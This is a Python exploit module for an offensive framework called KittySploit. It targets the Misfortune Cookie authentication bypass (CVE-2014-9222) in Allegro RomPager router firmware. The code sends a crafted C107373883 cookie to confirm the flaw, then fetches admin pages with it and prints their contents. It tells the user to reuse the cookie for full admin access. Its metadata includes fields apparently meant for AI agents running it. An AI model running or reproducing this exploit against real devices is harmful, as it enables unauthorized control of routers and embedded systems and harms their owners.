RomPager Misfortune Cookie Auth Bypass (CVE-2014-9222)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Allegro RomPager Misfortune Cookie auth bypass (CVE-2014-9222)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'RomPager Misfortune Cookie Auth Bypass (CVE-2014-9222)',
        'description': (
            'Exploits CVE-2014-9222 in Allegro RomPager: malformed C107373883 cookie '
            'bypasses authentication on embedded device admin interfaces.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-9222'],
        'platform': Platform.LINUX,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-9222',
            'https://mis.fortunecook.ie/',
        ],
        'tags': ['rompager', 'iot', 'router', 'auth-bypass', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface', 'risk_signals'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2014_9222_detect'],
            },
        },
    }

    probe_path = OptString('/tr069', 'Path used for cookie probe', required=False, advanced=True)
    admin_paths = OptString(
        '/, /admin, /setup.cgi, /index.asp',
        'Comma-separated admin paths to try after bypass',
        required=False,
        advanced=True,
    )

    def _misfortune_cookie(self, token: str) -> dict:
        return {'Cookie': f'C107373883=/{token}'}

    def check(self):
        token = self.random_text(10)
        path = str(self.probe_path or '/tr069').strip() or '/tr069'
        r = self.http_request(
            method='GET',
            path=path,
            headers=self._misfortune_cookie(token),
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if token in body and 'was not found on the RomPager' in body:
            return {'vulnerable': True, 'reason': 'Misfortune Cookie signature confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'RomPager cookie bypass not confirmed', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        token = self.random_text(10)
        headers = self._misfortune_cookie(token)
        paths = [
            p.strip() for p in str(self.admin_paths or '/').split(',') if p.strip()
        ]
        for path in paths:
            if not path.startswith('/'):
                path = f'/{path}'
            r = self.http_request(method='GET', path=path, headers=headers, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — HTTP 200 ({len(r.text or "")} bytes) with bypass cookie')
                print_status((r.text or '')[:1200])
        print_warning('Use bypass cookie in browser/tools for full admin access')
        return True